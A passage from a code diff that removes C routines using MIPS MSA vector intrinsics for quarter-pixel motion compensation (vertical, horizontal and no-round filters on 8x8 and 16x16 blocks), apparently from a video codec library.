-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-}
-
-static void vert_mc_qpel_avg_dst_aver_src1_8x8_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 dst0, dst1, dst2, dst3;
-    v16u8 tmp0, tmp1, res0, res1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    LD_UB2(src, src_stride, inp4, inp5);
-    src += (2 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp0, inp0, inp1, inp2,
-                                        inp1, inp2, inp3, inp4,
-                                        inp1, inp0, inp0, inp1,
-                                        inp2, inp3, inp4, inp5,
-                                        const20, const6, const3);
-    LD_UB2(src, src_stride, inp6, inp7);
-    src += (2 * src_stride);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp2, inp1, inp0, inp0,
-                                        inp3, inp4, inp5, inp6,
-                                        inp3, inp2, inp1, inp0,
-                                        inp4, inp5, inp6, inp7,
-                                        const20, const6, const3);
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp1, 1, (v2i64) inp2);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp3, 1, (v2i64) inp4);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-    dst += (4 * dst_stride);
-
-    inp8 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(inp4, inp3, inp2, inp1,
-                                        inp5, inp6, inp7, inp8,
-                                        inp5, inp4, inp3, inp2,
-                                        inp6, inp7, inp8, inp8,
-                                        const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(inp6, inp5, inp4, inp3,
-                                        inp7, inp8, inp8, inp7,
-                                        inp7, inp6, inp5, inp4,
-                                        inp8, inp8, inp7, inp6,
-                                        const20, const6, const3);
-    LD_UB4(dst, dst_stride, dst0, dst1, dst2, dst3);
-    tmp0 = (v16u8) __msa_insve_d((v2i64) inp5, 1, (v2i64) inp6);
-    tmp1 = (v16u8) __msa_insve_d((v2i64) inp7, 1, (v2i64) inp8);
-    dst0 = (v16u8) __msa_insve_d((v2i64) dst0, 1, (v2i64) dst1);
-    dst2 = (v16u8) __msa_insve_d((v2i64) dst2, 1, (v2i64) dst3);
-    AVER_UB2_UB(res0, tmp0, res1, tmp1, res0, res1);
-    AVER_UB2_UB(dst0, res0, dst2, res1, res0, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void vert_mc_qpel_avg_dst_aver_src1_16x16_msa(const uint8_t *src,
-                                                     int32_t src_stride,
-                                                     uint8_t *dst,
-                                                     int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7, inp8;
-    v16u8 inp9, inp10, inp11, inp12, inp13, inp14, inp15, inp16;
-    v16u8 res0, res1, dst0, dst1;
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB5(src, src_stride, inp0, inp1, inp2, inp3, inp4);
-    src += (5 * src_stride);
-    res0 = APPLY_VERT_QPEL_FILTER(inp0, inp0, inp1, inp2,
-                                  inp1, inp2, inp3, inp4,
-                                  const20, const6, const3);
-    inp5 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp1, inp0, inp0, inp1,
-                                  inp2, inp3, inp4, inp5,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp1, res1, inp2, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp6 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp2, inp1, inp0, inp0,
-                                  inp3, inp4, inp5, inp6,
-                                  const20, const6, const3);
-    inp7 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp3, inp2, inp1, inp0,
-                                  inp4, inp5, inp6, inp7,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp3, res1, inp4, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp8 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp4, inp3, inp2, inp1,
-                                  inp5, inp6, inp7, inp8,
-                                  const20, const6, const3);
-    inp9 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp5, inp4, inp3, inp2,
-                                  inp6, inp7, inp8, inp9,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp5, res1, inp6, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp10 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp6, inp5, inp4, inp3,
-                                  inp7, inp8, inp9, inp10,
-                                  const20, const6, const3);
-    inp11 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp7, inp6, inp5, inp4,
-                                  inp8, inp9, inp10, inp11,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp7, res1, inp8, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp12 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp8, inp7, inp6, inp5,
-                                  inp9, inp10, inp11, inp12,
-                                  const20, const6, const3);
-    inp13 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp9, inp8, inp7, inp6,
-                                  inp10, inp11, inp12, inp13,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp9, res1, inp10, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp14 = LD_UB(src);
-    src += src_stride;
-    res0 = APPLY_VERT_QPEL_FILTER(inp10, inp9, inp8, inp7,
-                                  inp11, inp12, inp13, inp14,
-                                  const20, const6, const3);
-    inp15 = LD_UB(src);
-    src += src_stride;
-    res1 = APPLY_VERT_QPEL_FILTER(inp11, inp10, inp9, inp8,
-                                  inp12, inp13, inp14, inp15,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp11, res1, inp12, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp16 = LD_UB(src);
-    res0 = APPLY_VERT_QPEL_FILTER(inp12, inp11, inp10, inp9,
-                                  inp13, inp14, inp15, inp16,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp13, inp12, inp11, inp10,
-                                  inp14, inp15, inp16, inp16,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp13, res1, inp14, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_FILTER(inp14, inp13, inp12, inp11,
-                                  inp15, inp16, inp16, inp15,
-                                  const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_FILTER(inp15, inp14, inp13, inp12,
-                                  inp16, inp16, inp15, inp14,
-                                  const20, const6, const3);
-    LD_UB2(dst, dst_stride, dst0, dst1);
-    AVER_UB2_UB(res0, inp15, res1, inp16, res0, res1);
-    AVER_UB2_UB(res0, dst0, res1, dst1, res0, res1);
-    ST_UB2(res0, res1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_horiz_src0_16x16_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride,
-                                                   int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp0, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp2, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp4, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(inp6, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                           const20, const6, const3);
-    res = __msa_ave_u_b(inp0, res);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src00_16x16_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src00_8x8_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_ave_u_b(avg1, res1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_ave_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_horiz_16x16_msa(const uint8_t *src,
-                                              int32_t src_stride,
-                                              uint8_t *dst,
-                                              int32_t dst_stride,
-                                              int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                           const20, const6, const3);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_no_rnd_aver_v_src0_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_v_src0_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                         mask2, mask3, const20,
-                                                         const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_ave_u_b(avg1, res1);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_horiz_src1_16x16_msa(const uint8_t *src,
-                                                   int32_t src_stride,
-                                                   uint8_t *dst,
-                                                   int32_t dst_stride,
-                                                   int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp1);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp2, inp3, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp4, inp5, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp5);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp6, inp7, mask,
-                                               const20, const6, const3);
-        res = __msa_ave_u_b(res, inp7);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
